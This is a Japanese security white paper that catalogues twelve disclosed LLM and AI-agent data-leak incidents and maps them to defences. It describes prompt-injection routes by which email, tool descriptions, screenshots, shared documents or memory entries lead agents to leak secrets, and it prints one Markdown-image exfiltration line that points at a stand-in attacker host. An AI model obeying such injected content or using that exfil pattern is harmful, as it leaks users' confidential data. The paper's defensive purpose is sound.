INCIDENT CATALOG · 2023-2026

LLM・AI エージェント 情報漏洩インシデント 大全

公表済み 12 件で見る、攻撃経路とその分類。
OWASP LLM Top 10 (2025) / MITRE ATLAS に準拠した縮約版。

AUTHORED BY
株式会社DELTA (teamdelta)

EXECUTIVE SUMMARY

要旨

LLM / AI エージェントが関係する情報漏洩インシデントは、2023 年から 2026 年にかけて急速に事例が増え、2025 年に入ると「ユーザー操作を介さない zero-click 型」と「MCP / Skills の supply chain 型」が顕著になった。本書は一次情報が公開されている代表的な 12 件を、攻撃経路の視点で 1 ページあたり 6 件ずつカード形式に整理する。「LLM を導入すると、本当に漏れるのか」という社内議論を、抽象論ではなく実在事例で進めるための素材として使える。

9/12	4	3	2
Indirect Injection が関与 OWASP LLM01	Zero-click (操作不要) 攻撃者の送信のみで発火	Markdown exfil 経路 UI 再レンダリングで発火	Supply Chain MCP / Plugin 経由

Key Takeaways

- 12 件中 **9 件が Indirect Prompt Injection** を核に持つ。Direct injection (社員が悪意入力する) より、**悪意ある外部コンテンツをエージェントが処理して騙される**経路が主流。
- Zero-click 事例が 2024 以降に複数 (EchoLeak / Google Docs 経由 / Slack AI 等)。社員が「何も悪いことをしていなくても」情報が出ていく前提で設計する必要がある。
- Output exfil の主経路は **Markdown 画像タグ**。Slack / Notion / GitHub Issue 等で自動レンダリングされた瞬間、クエリパラメータに載った機密情報が攻撃者サーバに飛ぶ。
- インフラ層の事故 (DeepSeek の DB 露出) は AI スタートアップ特有のリスク。利用を決める前に、**ベンダーの SOC 2 / ISO 27001 などの第三者認証**を確認する必要がある。

> FOR WHOM
>
> セキュリティ担当者・情シス・AI 導入推進の意思決定者。社内で「具体的に何が起きるのか」「どう防ぐのか」を議論するときの一次リファレンスとして。詳細な防御設計は姉妹資料「Claude Code 配布時の情報漏洩リスクと防御設計 (Vol.01)」を参照。

INCIDENTS · 2025 — 2024

新しい順。TAG は攻撃経路の主カテゴリ。

インシデント 01 — 06

01 2025-06

MICROSOFT 365 COPILOT

EchoLeak (CVE-2025-32711)

ZERO-CLICK | INDIRECT INJECTION | LLM01

攻撃者がメールを送信するだけで、Copilot が受信者の機密ドキュメントを攻撃者サーバに送信する構成。ユーザーの操作は一切不要。Aim Labs が発見し Microsoft が修正。「ユーザーが悪いことをしなくても漏れる」時代の代表事例。

出典: aim.security / CVE-2025-32711

02 2025-04

MCP SERVERS (GENERIC)

Tool Poisoning Attacks

SUPPLY CHAIN | TOOL DESCRIPTION INJECTION | LLM03

MCP サーバーが提供する「ツールの説明文」自体が LLM に渡される性質を悪用。description に仕込んだ指示で Claude / ChatGPT 等を誤動作させる。第三者配布 MCP を無批判に導入した組織全体が攻撃面となる。

出典: invariantlabs.ai

03 2025-01

DEEPSEEK

公開 ClickHouse からチャット履歴流出

INFRASTRUCTURE | MISCONFIGURATION

DeepSeek のインフラに認証なしで公開された ClickHouse が発見され、数百万規模のユーザープロンプト・内部ログが閲覧可能だった。AI スタートアップ選定時には SOC 2 / ISO 27001 等の第三者認証の確認が必須。

出典: wiz.io

04 2024-11

ANTHROPIC CLAUDE COMPUTER USE

スクリーンショット内画像による注入 (PoC)

VISUAL INJECTION | INDIRECT INJECTION | LLM01

Computer Use が取得する画面スクリーンショットに、攻撃者が用意した画像 (命令文が埋め込まれた) が写り込むだけで、エージェントを乗っ取れることが実証された。ビジュアル入力も Untrusted Input として扱う必要がある。

出典: hiddenlayer.com/research

05 2024-08

SLACK AI

Public → Private channel exfil

CONTEXT BOUNDARY | INDIRECT INJECTION | LLM01

攻撃者がパブリックチャネルに仕込んだ指示を、Slack AI が要約・検索時に処理し、被害者のプライベートチャネル内の API キーを外部に送信する経路が PromptArmor により公開。Slack は対策を発表。

出典: promptarmor.substack.com

06 2024-09

CHATGPT

Memory 永続注入

MEMORY POISONING | PERSISTENCE | LLM04

Johann Rehberger が報告。ユーザーが Web ページを閲覧するだけで、ChatGPT の Memory に悪意指示が書き込まれ、以後の会話で機密情報を継続的に外部送信する構成。永続的な攻撃という点で単発の injection より深刻。

出典: embracethered.com

INCIDENTS · 2024 — 2023

続き。

インシデント 07 — 12

07 2024-03

RESEARCH (CORNELL TECH)

Morris II — AI Worm

MULTI-AGENT SELF-REPLICATING LLM06

Cohen et al. が発表した、マルチエージェント環境で prompt injection が自己複製する "worm" の実証 PoC。親エージェントが汚染された出力をそのまま子エージェントに渡すと、連鎖的に攻撃が拡大することを示した。

出典: arxiv:2403.02817

08 2024-XX

GITHUB COPILOT CHAT

Markdown 画像 exfil

OUTPUT EXFIL MARKDOWN IMAGE LLM02

Rehberger が複数回報告。Copilot に出力させた `![](attacker/?leak=...)` がレンダリング時に自動 GET 発火し、機密がクエリパラメータ経由で漏洩。GitHub は複数回修正を公開。

出典: embracethered.com / unfurling

09 2023-11

GOOGLE BARD (現 GEMINI)

Google Docs 共有経由の indirect injection

ZERO-CLICK INDIRECT INJECTION LLM01

攻撃者が共有した Google Doc の HTML コメントに仕込んだ指示を Bard が解釈し、被害者の Drive / Gmail データを exfil。共有文書という一見無害な経路が攻撃面になることを示した初期事例。

出典: embracethered.com

10 2023-05

CHATGPT PLUGINS

Plugin 経由の PII exfil

TOOL ABUSE SUPPLY CHAIN LLM06

ChatGPT Plugin エコシステムで、悪意ある or 脆弱な plugin を通じてユーザーの個人情報が外部に渡る事例が複数報告。第三者製品をエージェントに接続する際の risk assessment の重要性を示した。

出典: simonwillison.net

11 2023-04

SAMSUNG ELECTRONICS

社員による ChatGPT への機密投入

SHADOW AI HUMAN FACTOR

Samsung 社員が半導体関連のコードや議事録を ChatGPT に貼り付けたことで社内で禁止措置が取られた報道事例。契約では防げない「社員の私用アカウント利用」という運用課題を可視化した初期事例。

出典: Bloomberg (2023)

12 2023-02

MICROSOFT BING CHAT

Sydney system prompt leak

DIRECT INJECTION SYSTEM PROMPT LEAK LLM07

Stanford 学生の Kevin Liu が direct injection で Bing Chat の system prompt と内部コードネーム "Sydney" を引き出した事例。system prompt に秘密を書く設計の限界を示した、プロンプトインジェクション議論の起点。

出典: simonwillison.net

ANALYSIS

傾向と、防御の急所

分類別 集計 (12 件)

攻撃経路 / 分類	件数	主な対策
Indirect Prompt Injection (LLM01)	6	Untrusted Input 分離・WebFetch / MCP allow list
Direct Prompt Injection (LLM01)	1	System prompt に秘密を書かない・入力検査 hook
Memory / Data Poisoning (LLM04)	1	Memory / Skills / CLAUDE.md の PR レビュー必須
Output Exfil (Markdown image etc., LLM02)	1	LLM Gateway で markdown image を strip・UI の自動 unfurl 抑制
Supply Chain (Tool / Plugin / MCP, LLM03)	2	第三者 MCP / Plugin は allow list 制・`.claude/` の PR レビュー
Multi-agent Worm (LLM06)	1	SubagentStop hook で子出力検査・子の権限は親より狭く
Infrastructure / Vendor	1	SOC 2 / ISO 27001 / ISO 42001 等の第三者認証確認
Shadow AI / Human	1	私用 Claude.ai 利用の明文禁止・機密レベル定義

読み取れる 3 つの傾向

- ① **Zero-click 化** — 2024 年以降、ユーザー操作を介さず攻撃者の「送信」だけで発火する事例が増加。EchoLeak が代表。従来の情報セキュリティ教育の延長では防げない。
- ② **Supply Chain の攻撃面化** — MCP / Plugin / Skills / Memory など、エージェントに接続する第三者部品が攻撃面。2025 年は MCP Tool Poisoning が顕著に。
- ③ **出力経路の悪用** — Claude Code / Copilot 単体のセキュリティだけでなく、出力が貼られる先 (Slack / Notion / GitHub) でも自動展開が発火する。対策は UI 設定にも及ぶ。

NEXT STEP

本資料で整理した 12 件それぞれに対する、Claude Code / managed-settings.json / hooks / MDM 連動による具体的な防御設計は、teamdelta White Paper **Vol.01「Claude Code 配布時の情報漏洩リスクと防御設計」**で Foundation + Defense in Depth 5 層として体系化している。併読を推奨。

teamdelta.jp →

REFERENCES（選抜）

1. Aim Labs, CVE-2025-32711 EchoLeak. aim.security/post/aim-labs-discloses-cve-2025-32711-echoleak
2. Invariant Labs, MCP Tool Poisoning. invariantlabs.ai/blog/mcp-security-notification-tool-poisoning-attacks
3. Wiz, DeepSeek DB leak. wiz.io/blog/wiz-research-uncovers-exposed-deepseek-database-leak
4. HiddenLayer Research. hiddenlayer.com/research
5. PromptArmor, Slack AI. promptarmor.substack.com
6. Embrace the Red (Rehberger). embracethered.com/blog/
7. Cohen et al., Morris II. arxiv.org/abs/2403.02817
8. Simon Willison, Prompt Injection. simonwillison.net/tags/prompt-injection
9. OWASP LLM Top 10 (2025). genai.owasp.org/llm-top-10
10. MITRE ATLAS. atlas.mitre.org

COLOPHON

発行元
株式会社DELTA (teamdelta)

発行日
2026-04-20 (Vol. 02)

姉妹資料
Vol. 01「Claude Code 配布時の情報漏洩リスクと防御設計」

URL
teamdelta.jp

著者
teamdelta Security Research

ライセンス
無断複製・転載を禁ず